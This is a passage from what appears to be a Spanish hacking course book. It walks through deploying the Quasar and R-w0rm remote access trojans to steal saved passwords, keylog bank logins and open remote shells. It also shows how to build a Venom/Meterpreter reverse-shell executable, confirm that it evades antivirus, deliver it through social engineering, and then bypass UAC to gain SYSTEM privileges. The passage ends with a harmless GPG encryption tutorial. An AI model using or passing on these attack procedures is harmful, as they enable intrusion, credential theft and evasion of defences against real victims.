 Indicaremos que queremos que se haga de forma automática el Port Forwarding.
 Indicamos que se muestre una recomendación de lectura acerca de la información del sistema infectado.

Hecho esto guardamos los cambios y hacemos clic en “Start Listening” para poner a la escucha
o al puerto que se especificó anteriormente:

114
 Configuración de parámetros de escucha en el servidor.

Finalizado lo anterior, ejecutaremos el troyano en nuestro propio equipo para conseguir la prueba
de concepto de esta demostración. Al hacerlo, notaremos que en el panel principal de Quasar,
hemos obtenido a un nuevo cliente, así como la notificación “pop-up” de esto, en el panel podemos
ver que en cada columna de este se proporciona información acerca del cliente conectado, como
lo es el Tag que indicamos para este troyano, el usuario del S.O, País, tipo de cuenta, etc.

Nuevo cliente o víctima conectada a servidor de Quasar RAT.

Administración remota con QUASAR RAT.

Hasta este punto hemos conseguido infectar al equipo objetivo sin problema alguno, así como
también podemos ver que este aparece en el panel principal de Quasar, listo para comenzar a
realizar tareas de administración remota sobre este cliente. A decir verdad, el uso de RATs o de
herramientas de este tipo, no difiere colosalmente en cuanto se trate de llevar a cabo tareas de
post- explotación, por lo que en este caso Quasar tiene similitud con otros RATs en cuanto el
modo de uso para administrar a los clientes, por lo que el realizar los siguientes ejemplos no
te resultará complicado.
Comencemos con el primer menú de ataque o funciones, la sección de “Connection” es en donde
podemos llevar a cabo acciones hacia la conexión que existe entre cliente y servidor
(Víctima/Administrador), esta sección simplemente se usa para trabajar con el socket de esta
conexión, ya sea desconectarlo, reiniciarlo, actualizarlo o removerlo:

Sección “Connection” y sus funciones.

115
Dejando en claro que es lo que se puede hacer en la sección anterior es momento de pasar a la
siguiente y ver algunas de sus funciones más útiles. La sección “System” nos permite trabajar
específicamente con atributos importantes del sistema infectado, entre las funciones que más
destacan, se encuentra el recolector de información sobre el sistema (System Information), el
gestor de archivos (File Manager), el administrador de tareas (Task Manager), el generador de
Shells remotas (Remote Shell), el editor de registros (Registry Editor), un inyector de código que
puede conseguir la escalada de privilegios (Elevate Client Permissions) y al último tenemos
“Action”, que simplemente sirve para jugar con la energía del equipo cliente.

Sección “System” y sus funciones más relevantes.

 La acción “System Information” hace un “Gather” o recolección de información acerca del

equipo infectado, entre lo que se puede obtener se encuentran detalles similares a los que
vimos previamente con “Orcus”, entre ellos, detalles técnicos acerca del equipo. Ejemplo:

Detalles acerca del Hardware del sistema y demás..

 Pasando a algo más interesante, la función “File Manager” perteneciente a esta sección
simplemente nos permite navegar entre los directorios sin restricción alguna, como puede
no suceder con otros RATs, en el ejemplo siguiente se demuestra cómo es que Quasar
permite la navegación sin restricciones en el disco local “C:” y directorios como “System32”:

116
 Finalizado lo anterior, regresaremos al lugar donde se abrió el “File Manager” en el primer
recuadro podemos ver 2 apartados “File Explorer” y “Transfers”, el primero trata de todo
lo de la imagen de abajo y el otro simplemente lleva un control de descargas y carga desde
o hacia el equipo cliente. En este apartado podemos ver que existe un selector de discos o
particiones, ahora nos encontramos en “C”, así como el directorio actual en donde nos
encontramos y así como también hay 3 columnas que indican detalles acerca de los
archivos existentes, hacia los cuales podemos hacer acciones de descarga, clonación,
ejecución, traslado de archivos, creación de accesos directos, abrir Shells en el
directorio especificado, etc. Consulta las Imágenes:

117
 Gestor de archivos y eliminación remota de elementos.

 La acción siguiente es la de “Task Manager”, esta simplemente nos permite replicar en

Quasar el administrador de tareas del equipo cliente, identificando el nombre del
proceso, ID del proceso y su título, mostrándose de esta forma:

Administrador de tareas del equipo cliente en Quasar.

 Una característica bastante útil que también trae consigo Quasar RAT al igual que en
Orcus, es la que nos permite la obtención de una Shell remota sobre el equipo cliente,
emulando una terminal de CMD, para así poder ejecutar comandos de carácter
administrativo sin restricción alguna, obvio si el troyano que se llegue a generar se ejecute
con privilegios administrativos podremos gozar de lo anterior.
Al abrirse nos hará 2 indicaciones iniciales; que usemos el comando “exit” para cerrar la
sesión o Shell y que se ha creado una nueva sesión en el disco o partición primaria “C:/>”,
para este ejemplo se ejecutó el comando “dir” para enlistar los elementos existentes en
donde nos encontramos. Ejemplo:

118
 Obtención de Shell remota sobre cliente infectado.

 Otra acción a la que le daremos un vistazo será la del editor de registro o “Registry Editor”
la cual también se encuentra en “Orcus” y tiene semejanza en cuanto al funcionamiento
aquí en Quasar, esta opción la podemos utilizar para cambiar configuraciones que no están
expuestas en cualquier parte del sistema, el editor de registros funciona como una base de
datos que almacena una extensa variedad de configuraciones, casi todas las
configuraciones de Windows residen aquí. Con la opción antes descrita podemos ingresar
al editor de registros del equipo cliente.
Ejemplo:

Editor de registro en Quasar.

119
  La penúltima función que veremos perteneciente a esta sección es la que permite escalar
privilegios de una forma eficaz, esto se lleva a cabo mediante la ejecución remota de
código, con tan solo un clic, esto solo aplica cuando el troyano creado no se configuro para
correrlo con carácter administrativo, ya que en el momento de la ejecución de este tipo se
inyecta el código que realiza la escalada de privilegios, en nuestro casó no será necesario
porque lo configuramos para realizar lo anterior. Consulta la imagen.

Función para elevar privilegios en Quasar.

 Por último, nos encontramos con la subcategoría “Actions” la cual sirve solamente para
poder jugar con la energía del equipo (no hablo de joder la fuente de poder/batería o hacer
estallar en llamas el equipo), si no de las funciones de apagar, suspender y reiniciar:

Funciones de la subcategoría “Actions”.

Hemos terminado con las funciones más destacadas o importantes del primer sección, pasemos
a lago más provechoso o interesante. La sección de “Surveillance” o vigilancia permite recolectar
información sensible acerca de lo que ocurre en el equipo cliente, la anterior también, en cambio
esta nos da resultados concretos, como puede ser el monitoreo mediante escritorio remoto,
obtención de passwords mediante la recolección de información y la activación de un Keylogger
bastante agresivo como el que encontramos en “Orcus”.

120
La primera función con la que nos encontramos en esta sección es la de “Remote Desktop”, la
cual simplemente nos permite crear un “Mirror” (Espejo) del escritorio del cliente infectado por
Quasar, al hacer uso de esta función nos toparemos con un panel en donde veremos opciones de
configuración como lo son, el inicio y detención de la función, la calidad del “Streaming” o
transmisión, habilitar el mouse, teclado o ambos, cuantos monitores hay disponibles en el equipo,
etc. Al iniciar el “Streaming”, se mostrará de la forma siguiente, debido a que es un equipo virtual.
Consulta las imágenes:

Función de “Remote Desktop”.

 Una función realmente ventajosa es la del recuperador de passwords o “Password

Recovery”, esta función hace un fetching u obtención de password o credenciales de sitios
web almacenados en el equipo cliente, sin importar sitio que sea o que protocolo use (TTP
o HTTPS con HSTS), esta función robará los passwords almacenados o guardados
mediante el navegador web preferencial que use la víctima.

NOTA: Estos password solo se obtendrá si y solo si la victima decide recordar la contraseña
de un sitio web, es decir, guardarla, del contrario no se obtendrán estos passwords. Ejemplo
con la página de Develop que usa HTTP en donde se realiza la evaluación de exámenes,
otra donde nos loggeamos con Gmail, donde se usa HTTPS con HSTS. Consulta las
imágenes:

121
 Ejemplo con página de evaluación Develop con protocolo HTTP.

 Hemos visitado y guardado as credenciales de una página que no usa protección (HTTP),
pasemos a algo más comprometedor con Gmail (HTTPS), en el ejemplo siguiente se
ingresará a Gmail y se recordarán los passwords (omitiremos esto), en este caso nosotros
ya sabemos que las recordamos, por lo que iremos a la función “Password Recovery”, al
abrirla nos aparecerá un panel en donde haremos la recolección de contraseñas

Función de recolector de passwords en Quasar.

122
Luego de haber hecho lo anterior en cuanto a Loggeos y recordar passwords, regresamos a
Quasar y ponemos en unión esta acción de ataque, al hacerlo nos mostrará la siguiente
información en el panel, donde indica el número de cuentas conseguidas (2), también veremos 4
columnas en donde se indica la identificación del equipo, el URL, el usuario y el password de
este sitio web. Debajo encontrarás las cuentas obtenidas/robas así como el navegador en el que
se guardaron

Cuentas y passwords robados del equipo cliente gracias a Quasar

Otra función bastante útil es la del Keylogger, este al igual de “Orcus” opera con una agresividad
notable, ya que funciona a un bajo nivel lo que resulta bastante difícil que los firewalls, navegadores
o incluso los antivirus lo detecten. Para el ejemplo siguiente se utilizó el sitio web de Bancomer y
la plataforma de Loggeo de miembros en donde ellos ingresan su tarjeta de crédito (CC) y su
password del sitio web. Solo basta con entrar a la función “Keylogger” y hacer clic en el botón
“Get Logs” el cual devolverá la información o teclas capturadas por el “Keylogger”, al hacerlo se
mostrará un resumen o “Summary” por fechas seleccionamos la fecha deseada y la abrimos, al
hacerlo se mostrarán las teclas e información capturada, en este caso una CC y password (ficticios
obviamente) del sitio de Bancomer. Ejemplo:

Función “Keylogger” y el robo de credenciales gracias a ella.

123
Para finalizar el uso de las funciones más importantes o útiles de este RAT, pasaremos a la última
sección, la cual es la de “Miscellaneous”, la que contiene un pequeño repertorio de funciones
básicas como la ejecución remota de algún archivo, ya sea que exista en el equipo cliente (o no y
lo traslademos), o haga la consulta y ejecución desde un archivo hospedado o disponible en
internet.

Función para ejecutar archivos, existentes en el cliente o disponibles en Internet.

Después tenemos a la función que nos permite visitar un sitio web en específico, sin importa cuál
sea (excepto sitios .ONION y .CLOS), esta función puede llevarse a cabo de 2 formas; De forma
discreta y no discreta, la primera sirva para sitios maliciosos, los cuales roban cookies, geo
localizan, inyectan código (si, si es posible), etc. Y la otra es solo para mostrar un sitio web en
específico, en este caso se usará esta última opción con el sitio web de HackingMexico, al abrir
esta función, nos topamos con una pequeña ventana en donde ingresaremos el sitio deseado y si
queremos ver de forma discreta o no, aquí ingresarás el sitio de tu preferencia y si quieres hacerlo
a discreción o abrir el navegador predeterminado. Ejemplo:

Función para poder abrir o visitar en laces a discreción o gráficamente en el equipo cliente.

Hasta ahora hemos hecho uso de las funciones más distintivas de Quasar RAT, así como también
ejemplificamos con demostraciones en donde recolectamos información sensible con pruebas de
concepto, a estas alturas del partido debes entender cómo es que funciona un RAT, que factores se
involucran en su configuración para que este se ejecute o se despliegue de forma correcta.

El uso de Troyanos de Acceso remoto que has visto hasta ahora tiene una similitud considerable tanto
como “Orcus” con “Quasar” en cuanto al modo de uso de sus funcionalidades y acciones de ataque,
obviamente “Orcus” es un RAT más completo y complejo de usar, sin embargo no estuvo demás que
encontrarás una herramienta que logrará hacer bien el trabajo y además fuese “Open-source” como
lo es Quasar.
124
Uso de RAT R-w0rm.

¿Para qué te servirá esto?

A lo largo de este capítulo te has familiarizado lo suficiente con los Troyanos de acceso remoto o
“RATs”, siendo estas en singular; herramientas de administración remota que tienen un doble filo, ya
que sus acciones de “ataque” son bastante útiles/perjudiciales, desde la recopilación de información
acerca del hardware de la computadora, hasta el uso de un Keylogger bastante agresivo y el acceso
al explorador de archivos.

Esto pueden tener ciertas repercusiones si estas acciones no son desplegadas de la forma correcta
ya sea que los uses para monitorear equipos a distancia con la debida autorización, o ya sea que los
utilices con otros fines en equipos ajenos, si has llegado hasta esta página luego de haber finalizado
lo anterior, entonces estarás listo para poner a trabajar en algún equipo real lo que aprendiste hasta
ahora referente a este tema.

Sin embargo, no está de más que aprendas utilizar un troyano más de este tipo, no tan completo y
complejo como los otros, R-w0rm es un RAT más que simplemente cumple con lo que inicialmente se
desarrolló este software/malware, administración remota. No obstante, de que carece de muchas
funciones, este troyano puedes utilizarlo sencillamente para divertirte un rato y hacer una básica
aproximación, esa es mi opinión, pero no hay mejor forma de que lo sepas que probando tú mismo.

NOTA: R-w0rm también viene incluido en el material e trabajo referente a este capítulo. Si vas a usarlo
en tu sistema, también recuerda que si vas a usar esta herramienta en un algún equipo sistema
operativo nativo (No virtual), desactivar el software de protección o antivirus que tengas instalado en
tu equipo ya que estas herramientas son categorizadas como malware.

Entendido lo anterior, ejecutaremos a n-w0rm, al hacerlo nos aparecerá una ventana en donde tendrás
que especificar la dirección IP ([Link] en este caso) y el puerto que estará a la escucha de las
conexiones de los clientes/victimas del RAT, procura que sea un puerto que no esté siendo utilizado
por algún otro servicio o aplicación, el default que se usa es el 91, habiendo configurado esto,
pasaremos a lo que es el panel principal de R-w0rm. En la parte superior se hallan las columnas que
describen información básica acerca de los clientes que se encuentren conectados al servidor, como
lo es el Nombre del Host, dirección IP, País (posiblemente), Computador, Usuario, Sistema
operativo, CPU/GPU y RAM.

En la parte de en medio se encuentra un Log, al inicio verás 2 cosas; El puerto que está a la escucha
(91) y el inicio correcto de R-w0rm, por último, en la parte inferior verás las opciones de uso para
configurar a R-w0rm, en donde verás la opción “Builder”, que como imaginarás se usa para crear
troyanos de R-w0rm. A decir verdad, esta construcción es mucho más rápida y simple, démosle un
vistazo a cómo funciona. Consulta las imágenes:
125
 Panel de trabajo de n-w0rm y su configuración de escucha actual.

Una vez que hayas terminado con la creación del troyano o binario de R-w0rm, lo desplegarás o
pondrás a trabajar de la misma forma que en la prueba anterior con Windows infectando a tu propio
equipo virtual, una vez que lo hayas ejecutado notarás que hay un nuevo cliente o “Slave” enlistado
en R-w0rm, en donde se muestran los detalles antes mencionados, así como en el Log verás la nueva
conexión que hay entre el cliente y servidor de R-w0rm:

Nuevo cliente en R-w0rm y Log de registro.

Hasta este punto tenemos al cliente conectado, es momento de dar un vistazo a las
funcionalidades que trae, para ello basta con hacer clic derecho en el cliente objetivo y explorar
las funciones que puede llevar a cabo R-w0rm, que en realidad no son muchas, pero pueden llegar
a ser útiles en algún momento o al menos entretenerte un rato, estas se dividen en 4 acciones de
ataque principalmente; Control Extras, Run File y Worm.

Acciones de ataque de R-w0rm.

126
La primera consta de funciones simples, como hacer una captura de pantalla del equipo ajeno (que
por cierto no realiza un Screenshot grande solo muestra una pequeña imagen de la captura), ver el
administrador de tareas y jugar con la energía del equipo (Encender, Apagar, Hibernar o Reiniciar)

Captura de pantalla hecha con R-w0rm.

Otro ejemplo rápido de las funciones que trae consigo R-w0rm es ver en tiempo real lo que ocurre en
el Task Manager o Administrador de tareas del equipo cliente, desde R-w0rm, en donde vemos el
nombre del proceso, el ID de este proceso, su descripción y si dicho proceso tiene una ventana
activa.

Task Manager obtenido por R-w0rm sobre el equipo infectado.

En la segunda categoría, en “Extras” nos encontramos con 2 simples funciones, una envía un
simple mensaje personalizado al ordenador, y la otra ejecuta algún Plugin que funcione con el
software de R-w0rm.

Ejecución y envío de mensaje mediante R-w0rm.

127
La tercera función llamada “Run File” hace simple y sencillamente eso, la ejecución de algún
archivo o en específico, ya sea que lo invoques desde el disco del equipo infectado, o desde algún
en lace, dependiendo tu preferencia.

Función “Run File” y sus acciones de ataque.

Por último, tenemos la 4
función nombra como “Worm”, esta trata básicamente de que es lo que queremos hacer con la
parte del código del malware que está o reside en el equipo y que se encarga de conectar al cliente
con el servidor, ya sea que queramos desconectarlo de momento, cerrar esta conexión,
reiniciar o correr de nuevo el código que constituye al socket para la conexión, renombrar al
malware o simplemente quitarlo o desinstalarlo del equipo de forma definitiva.

Función “Worm” y sus modos de uso.

Con esto último finalizamos el capítulo 2, en donde trabajamos con 3 diferentes Troyanos de
Acceso Remoto, en donde vimos que son y cómo funcionan, que tan perjudiciales y peligrosos
pueden llegar a ser cuando se despliegan en un equipo o set de equipos, así como la extensa
configuración que estos llevan para poder ponerlos en acción.

También nos familiarizamos con el uso de Crypters para poder ofuscar el código del malware
mediante cadenas de cifrado, esto con el fin de lograr Fudding de nuestro troyano o binario para
que no levante las alertas de las diferentes soluciones de seguridad, como pueden ser firewalls y
antivirus, y así pueda pasar más desapercibido nuestro malware generado, también nos
familiarizamos con el extenso uso de los RATs “Orcus”, “Quasar RAT” y el apartado extra que fue
“R-w0rm”.

A estas alturas del partido, ya debes entender a grandes rasgos como configurar, desplegar y
trabajar con los “RATs” anteriores o con algún otro troyano de acceso remoto, ya que el modo de
uso entre muchísimos que hay es bastante similar (obviamente con sus excepciones), así como
también los factores que intervienen para desplegar estos de una forma eficaz, luego de que
finalices el extra que decidí incluir (opcional), pasaremos al capítulo 3 en donde nos adentraremos
en el desarrollo de exploits y código para lograr perjudicar algún software en específico o servicio
con el que cuente algún host.
128
 Extra 2: Exploiting con Venom
ShellCode Generator.
Previamente habías realizado un ejercicio de cómo generar payloads en Python para poder
comprometer un sistema informático, en este caso harás binarios (.exe) maliciosos que al
momento de ejecutarse en el equipo objetivo, realizan la inyección de código arbitrario en la RAM
del sistema, con la consecuencia de que tal sistema sea comprometido de forma completa o
parcial, en esta última es donde se lleva cabo la escalada de privilegios para poder realizar más
tareas de post-explotación sobre el equipo. El detalle es que la generación de RATs (Remote
Access Trojans) con algunas otras herramientas no es tan discreta que con Venom Shellcode,
el cual genera payloads en distintos formatos (Python, C, Ruby, Exe, DLL, BAT, .JAR (Java),
PDF, etc) los cuales llevarán consigo potentes troyanos que resultan bastante perjudiciales para
el equipo víctima.
En la siguiente demostración ejemplificaré como conseguir la explotación de un sistema con
plataforma Windows, en este caso será con Win 10, cabe mencionar que los payloads generados
para Windows funcionan para los más modernos y comunes (Win Vista, 7, 8 y 8.1)

Lo que necesitarás para este ataque.

 Una Distribución para pentesting actualizada, recomiendo Parrot 3.1 o 3.2, Kali 2016.1 ó
2016.2, ya que las anteriores puede que no cuenten con las dependencias que usa Venom
Shellcode.
 Un equipo Windows en el mismo segmento de red que tú maquina atacante, ya sea virtualizado
o físico, en este ejemplo usaré uno virtualizado.

129
Obtención de Venom ShellCode.

Al igual que con otras herramientas que he demostrado, Venom ShellCode no viene precargada
en las distros para pentesting más populares, por lo que habrá que descargarla e instalarla por
nuestra cuenta.
Entra a este URL para descargarlo:
[Link]
También puedes descargarlo mediante el comando “git clone”, ejecutando: git clone
[Link] crisp-shellcode-generator-shell

Lo cual realizará la descarga en nuestra máquina atacante, en donde navegaremos al lugar donde
reside su descarga: “/root/shell/”, dentro se halla otro directorio nombrado “aux” el cual contiene
el archivo para iniciar la instalación, ([Link]), establecemos una configuracion con chmod +x
*.sh y después ejecutamos el archivo .sh:

Imagen 1.1: Descarga de Venom Shellcode

Al iniciar, realizará la búsqueda y Checking de las dependencias para que funcione, en donde
seguirás los pasos de la instalación para poder completarla, no toma más de 5 min.

Una vez ya instalado, navegamos al directorio “/root/shell/” y desde ahí iniciaremos a Venom
Shellcode, ejecutando el comando “./[Link]”:

130
 Imagen 1.2: Directorios de Venom Shellcode
Al iniciar se realizará de nuevo el Checking de las dependencias e iniciará el Banner donde se
muestra un listado con varias columnas, indicando que se codificará, el objetivo con el que funciona,
con que se compilará y el formato final del payload:

Imagen 1.3: Listado de ShellCode por generar

Del listado, seleccionaremos la opción número 6, la que funciona para plataforma Windows,
funciona mediante Powershell y será generada como un .exe
Seguido de esto, estableceremos la configuración del payload que generará, esto comenzará al
ingresar el número correspondiente de la lista:

Imagen 1.4: Ingreso de tipo de Shellcode por generar.

Lo primero que tendrá que configurarse será el Host al que el payload establecerá el canal de
comunicación para interactuar con el equipo comprometido, es decir, “LHOST”, que es
donde ira la dirección IP de nuestra maquina atacante:
131
 Imagen 1.5: Configuración de LHOST

Luego tendremos que configurar el puerto que estará a la escucha de dicha conexión, “LPORT”,
en este ejemplo se usara el 556, tú puedes configurar algún otro puerto de tu preferencia.

Imagen 1.6: Selección de Puerto.

Ahora lo siguiente será escoger el payload de tipo “Staged” que será el que desde la maquina
victima trabajará en conjunto con el Framework de Metasploit en nuestra maquina atacante. El
payload que escogeremos será “windows/meterpreter/reverse_tcp” el cual funcionará como un
Shell inversa que se nos devolverá al momento de la ejecución del binario malicioso en el quipo
objetivo:

132
 Imagen 1.7: Selección de payload

Por ultimo escogeremos el medio por el cual se establecerá el enlace de comunicación al momento
de que el payload se ejecutado, ya sea un handler o un enlace malicioso, en este caso se usará
la primera opción, el Handler, el cual es un exploit que al momento de usarlo estará a la escucha
de los exploits ejecutados por fuera de Metasploit, es decir, mostrará los stage o conexiones
creadas por estos troyanos o exploits ajenos al framework, en donde este trabajara en conjunto
con el binario malicioso:

Imagen 1.8: Selección de método de conexión

Al escogerlo se mostrará la información acerca de lo que se ha generado y detalles sobre esto:

133
 Imagen 1.9: Detalles del Shellcode Generado

Así como también se inicializa el framework de Metasploit por consola de comandos,

estableciendo de forma automática el Handler y el payload de tipo Stager:

Imagen 2.0: Metasploit iniciado automáticamente

NOTA: Para esta demostración no harás uso de Metasploit por este medio, ya que las fallas son
algo común al momento de enviar exploits, hacer uso de auxiliaries, encoders o shells, en
cambio, lo iniciaré por mi cuenta desde una nueva terminal de comandos, simplemente
ejecutando “msfconsole”:

134
 Imagen 2.1: Inicio de Metasploit por nuestra cuenta.

Estando dentro, haremos uso de un exploit (handler) para que haga la función antes descrita,
después colocaremos un payload de tipo Stager trabajando desde Metasploit, lo que hará este
será establecer una conexión con el payload de tipo “Staged” que es el que está en el Troyano
que generamos, al momento de que este se ejecute en el equipo víctima, se devolverá una Shell
inversa a nuestra maquina atacante.

Esto se debe a que ambos payloads están trabajando en conjunto, puesto a que es el mismo tipo
de payload, solo que uno trae la Shell inversa esperando a ser lanzada y otro establece la conexión
con el troyano, así otorgándonos la Shell de Meterpreter para así poder interactuar de forma
remota con el equipo comprometido. Para configurar esto, haremos uso del exploit del handler
(multi/handler), después seleccionaremos el payload (windows/meterpreter/reverse_tcp), e
ingresaremos las mismas variables de LHOST y LPORT que al principio, ya que estos payloads
trabajarán de forma síncrona y ejecutamos el comando “exploit”, para que el handler y el payload
comiencen sus funciones en el Framework:

Imagen 2.2: Configuracion de Handler y Payload en Metasploit

Al terminar eso, solo hace falta llegar el troyano al equipo víctima y conseguir que sea ejecutado,
para esto puede que se requiera algo de ingeniería social. La ubicación del binario es
“/root/shell/output”:

135
 Imagen 2.2: Ubicación de Binario Generado

Ya que sabemos dónde se encuentra solo falta hacerlo llegar a la víctima, ya sea por e-mail, vía
multimedia, o algún otro medio.
Antes de continuar, no está demás verificar que tan “discreto” es el malware que se ingresará al
equipo objetivo, para esto haremos un análisis en un sitio web que escanea archivos con la
ayuda de 35 software AV para mostrar resultados y compararlos, esto se hará desde
[Link] donde nos mostrará resultados bastante sorprendentes, al arrojarnos
el dato de que solo 2 de 35 software de protección notaron algo sospechoso en su código,
esto quiere decir que resulta perjudicial o amenazante para solo el 6% del software que contiene
la plataforma de escaneo, lo que para nosotros es bastante ventajoso:

Imagen 2.4: Resultados de No Distribute.

Ahora que sabemos que puede hacer bypass o evasión de más de 30 AV´s destinos, podemos
hacerlo llegar al equipo objetivo y conseguir que sea ejecutado:

Imagen 2.5: Binario Transferido

Una vez que se consiga esto, en Metasploit aparecerá el envió de petición hacia la dirección
donde se ejecuta el troyano, devolviéndonos así la Shell inversa antes configurada y obteniendo
la sesión de Meterpreter, lista para ejecutar comandos sobre el equipo ajeno:

136
 Imagen 2.6: Sesión Meterpreter conseguida

Una vez dentro podremos ejecutar múltiples comandos para obtener información diversa acerca
del equipo, por ejemplo con los comandos “sysinfo” y “getuid” podremos saber detalles acerca
del sistema en donde estamos (intrusión) y el otro para saber el nombre del usuario:

Imagen 2.7: Detalles acerca de Sistema vulnerado y Tipo de Usuario.

Ahora que sabemos el User ID, podemos notar que no tenemos carácter administrativo sobre este
sistema, así que haremos una escalada de privilegios para conseguir esta, la cual también se
demostró en previos post que h realizado, haciendo bypass del UAC mediante algo de Powershell.
Antes de hacer esto haremos una migración a un proceso que este corriendo actualmente, esto
con el fin de que no se pierda la conexión en caso de que la persona borre o cierre el binario
malicioso. Después haremos un background de la sesión para tenerla trabajando en segundo
plano y así volver a msfconsole, desde donde haremos uso del exploit para hacer bypass de UAC,
colocando en este la sesión en la que nos encontramos (1) y la técnica de inyección de código:

137
PSH (Powershell), al lanzarlo se deshabilitará el UAC y abrirá una sesión de Meterpreter nueva:

Imagen 2.8: Migración de procesos y Bypass de UAC con Powershell

En esta nueva sesión ejecutaremos de nuevo el comando “ps” para en listar los procesos y
migraremos a alguno que tenga la característica “NT AUTHORITY\SYSTEM”:

Imagen 2.9: Migración a un proceso de carácter administrativo.

Una vez hecho esto, ejecutamos el comando “getprivs” para enlistar os privilegios con los que
contamos actualmente en este sistema, en donde se enlistaran 22 privilegios, si ejecutamos de
nuevo el comando “getuid” aparecerá la etiqueta “NT AUTHORITY\SYSTEM”, y si también
ejecutamos el comando “getsystem” aparecerá que se obtuvo previamente mediante la técnica
que se describe seguido a la derecha:

138
 Imagen 3.0: Privilegios conseguidos

Ahora, como ya se sabe, tenemos 2 sesiones Meterpreter abiertas, para ver el listado de estas y
sus detalles, se hace un background de la sesión actual y en msfconsole ejecutamos “sessions -
l”, donde vemos que una sesión contiene privilegios de usuario local y otra con privilegios
administrativos, que es la que usaremos, para volver a la sesión, se ejecuta el comando “sessions
–i #número de sesión que quieres”:

Imagen 3.1: Listado de Sesiones Meterpreter

Ahora, haremos una tarea de post-explotación, haciendo uso de un “keysniffer” para capturar
teclas presionadas en este equipo comprometido, usando el comando “keyscan_start” para iniciar
este Sniffer, una vez que queramos hacer el volcado de la información que capturó ejecutamos el
139
comando “keyscan_dump”. Seguido de eso, dentro de un Doc. De Word nombrado Testing
Shellcode, se ejemplificará un escrito para demostrar el uso del Keylogger:

Imagen 3.2 y 3.3: Inicio de Keysniffer y creación de Doc.

Imagen 3.4y 3.5: Escrito hecho y volcado de información.

Ahora lo intentaremos con el formulario de Loggeo en una Página Web, no importa si usa una
conexión segura o no, ya que el sniffer solo captura teclas presionadas, ya que Metasploit lo
ofusca para que no sea detectado por firewalls en equipos o sitios web, como es el caso de
Instagram, en donde ingresarás un usuario y password ficticios, teniendo corriendo al
keylogger/sniffer en Metasploit:

140
 Imagen 3.6: Usuario y password ingresado en Instagram.

Por otro lado, en Metasploit, haremos el volcado de la información capturada por el “keysniffer”:

Imagen 3.7: Volcado de info capturada por keysniffer.

¿Cómo funcionó esto con Venom Shellcode?

Este script utiliza msfvenom (Metasploit) para generar código Shell en diferentes formatos (c,
Python, Ruby, DLL, PSH | vbs, php, Java) luego inyecta el Shellcode genera en el archivo de
salida que corresponda, en este caso fue un binario ejecutable, el código malicioso se ejecutará
en la RAM, así como también se inyecta un payload que trabajará en conjunto con Metasploit para
establecer una conexión entre el payload que reside en el equipo víctima y el payload que está en
el framework de Metasploit.
Después evadimos el UAC mediante el uso de PSH y luego logramos la obtención de información
sensible gracias a las tareas de post-explotación.

141
 Extra 2: Uso de GPG encryption
keys
GNU Privacy Guard y cifrado de archivos (Data Encryption).

Algo que resulta baste crítico e importante es el cifrado de las comunicaciones o la protección de
nuestros datos o información, esto también es conocido como “data encryption”, así como parte
de esto es cifrar o proteger archivos por nuestra antes de enviarlos a través de internet o hacerlo
llegar por algún otro medio.

Una clave pública y privada tiene un rol específico al cifrar y descifrar documentos. Como ejemplo,
pensemos que una clave pública es como una caja fuerte abierta, cuando un corresponsal cifra un
documento usando una clave pública ese documento se pone en la caja fuerte, la caja fuerte se
cierra y la combinación de bloqueo giró varias veces. La clave privada correspondiente es la
combinación que puede volver a abrir la caja fuerte y sacar el documento. En otras palabras, sólo
la persona que tiene la clave privada puede recuperar un documento cifrado con la clave pública
asociada.

El procedimiento para cifrar y descifrar documentos resulta bastante eficiente con este método,
supongamos que quieres cifrar un [Link] para Ismael, lo cifrarás usando la clave que generes
y él lo descifrará posteriormente con la clave pública. Dado el caso que quieras proteger un archivo
puedes recurrir a este tipo de solución.

Para esto, en la siguiente demostración se hará uso de las GPG (GNU Privacy Guard) keys y
aprenderás a usarlas para conseguir lo anterior. GPG es una herramienta (alternativa a PGP) de
software libre empleada para comunicaciones seguras, almacenamiento y cifrado de datos.

¿Qué necesitarás para esto?

 Parrot OS, se usará la versión 3.4 proporcionada en el material.

Para comenzar este proceso lo primero que haremos será ejecutar el comando “gpg --gen-key”,
seguid de ello nos aparecerá una lista de los algoritmos de cifrado o llaves, del cual
seleccionaremos la primera opción:

142
 Imagen 1.1: Listado de tipos de algoritmos para llaves.

Seguido de lo anterior, estableceremos el tamaño de la llave o “key”, este puede ser de 1024 a
4096 bits, y por supuesto escogeremos el más grande, al hacerlo nos mostrarán parámetros de
configuración acerca del tiempo de expiración de esta llave, ya sean días o años, para evitar
esto, proporcionáremos como valor “0”, lo que significará para la llave que tiene nula expiración.
Luego finalizaremos esta parte de configuración:

Imagen 1.2: Llave qué no expirará jamás.

Ahora que ya se establecieron los parámetros de configuración de la clave, pasaremos a crear un

usuario o ID de esta clave, para esto necesitaremos tener un identificador para esta llave, GPG
crea el ID de usuario a partir del nombre, detalles y correo electrónico proporcionados, al
hacerlo se mostrará la información ingresada, tal cual aparecerá al momento del desbloqueo del
archivo protegido, si se desea realizar un cambio, bastará con usar la sintaxis del ultimo renglón,
en este caso no se hizo ningún cambio y confirmamos con “Okay”. Consulta la imagen.

Imagen 1.3: Creación de ID para la GPG key mediante los datos solicitados.
143
Al establecer los detalles anteriores y haber finalizado la configuración, tendremos que
proporcionar una “frase clave” para la llave GPG, es decir, un password, por lo que nos aparecerá
el banner “You need a Passphrase to protect your secret key”, simplemente ingresaremos el
password 2 veces y listo:

Imagen 1.4: GPG solicitando “Passphrase” o password.

Ahora que terminamos con la creación del “User ID” para la llave GPG tendremos que generar
suficientes “bytes aleatorios” para la construcción de esta llave, para esto se hará uso de algo en
entropía, esto se puede conseguir haciendo uso del mismo computador, ya sea moviendo el
mouse, tecleando en la consola, haciendo uso de los recursos del sistema operativo.

En el ámbito de la seguridad informática o criptografía, la aleatoriedad recolectada por un

sistema operativo se le conoce como entropía, esto puede tener otros usos, con el dato clave de
que necesita colectar datos aleatorios, es común que esto se consiga mediante fuentes de
hardware, y por ende, el uso de recursos del sistema.

Si al momento de que estén por generarse los bytes aleatorios no están en uso suficientes recursos
del sistema, GPG indicará que no hay suficientes bytes aleatorios disponibles, por lo que
tendremos que hacer más trabajo con el sistema operativo para que esta pueda colectar más
entropía, es decir, que repitamos lo anterior descrito, esto aparecerá seguido de la cantidad de
bytes faltantes, mientras ocurre este proceso se irá reduciendo el número de bytes faltantes.
Consulta la imagen.

Imagen 1.5: Colección de bytes aleatorios mediante entropía.

Hay que tener en cuenta que esto tiene un tiempo de expiración, en el caso de que no se junten
o acumulen los bytes necesarios, se reiniciará el proceso de recolección y tendremos que
repetirlo, las veces necesarias hasta que GPG recolecte los bytes suficientes mediante entropía.
Al finalizar, se mostrarán los detalles siguientes indicando que la autenticidad de la llave es
